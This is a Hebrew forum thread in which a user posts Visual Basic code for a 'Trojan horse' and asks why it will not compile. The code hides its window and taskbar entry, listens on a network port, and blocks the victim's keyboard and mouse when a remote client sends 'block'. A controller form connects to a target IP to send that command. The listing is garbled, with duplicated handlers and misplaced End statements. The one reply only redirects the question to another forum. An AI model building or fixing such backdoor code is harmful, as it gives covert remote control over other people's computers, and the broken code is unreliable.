[עזרה] סוס טורייני

[xush]

אין לי מושג אם זה קשור לפה אז אם לא אז תנעלו
חבר שלי בנה סוס טורייני והוא ביקש שאני יבקש עזרה בפורום אטרף
הסוס נבנה בVB
כשהוא מנסה לשמור אותו התוכנה אומרת לו שיש לו בעיה בקוד
הינה הקוד:

Private Sub Form_Load()
Me.Visible = False
End Sub
Private Sub Form_Load()
End Sub
Me.Visible = False
App.TaskVisible = False
End Sub
Private Sub Form_Load()
End Sub
Me.Visible = False
App.TaskVisible = False
Win.LocalPort = 2999
Win.RemotePort = 455
Win.Listen
End Sub
Private Sub win_ConnectionRequest(ByVal requestID As Long)
Win.Close
Win.Accept requestID
End Sub
Private Sub win_DataArrival(ByVal bytesTotal As Long)
Win.GetData GotDat
DoActions (GotDat)
End Sub
Public Function DoActions(x As String)
End Function
Dim Action
Select Case x
Case "block"
Action = BlockInput(True)
End Select
End Function
Private Sub Form_Load()
End Sub
Me.Visible = False
App.TaskVisible = False
Win.LocalPort = 2999
Win.RemotePort = 455
Win.Listen
End Sub
Private Sub win_ConnectionRequest(ByVal requestID As Long) ' As corrected by bar
Win.Close
Win.Accept
requestID
End Sub
Private Sub win_DataArrival(ByVal bytesTotal As Long)
Win.GetData GotDat
End Sub
DoActions (GotDat)
End Sub
Module
Public Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long
Public Function DoActions(x As String)
End Function
Dim Action
Select Case x
Case "block"
Action = BlockInput(True)
End Select
End Function
Private Sub cmdConnect_Click()
IpAddy = txtIp.Text
Win.Close
Win.RemotePort = 2999
Win.RemoteHost = IpAddy
Win.LocalPort = 9999
Win.Connect
cmdConnect.Enabled = False
End Sub
Private Sub cmdDisconnect_Click()
Win.Close
cmdConnect.Enabled = True
End Sub
Private Sub cmdBlockInput_Click()
Win.SendData "block"
End Sub

תודה לעוזרים

[avatar123]

בעיות תכנותיות יותר מתאים לפורום שפות עיליות.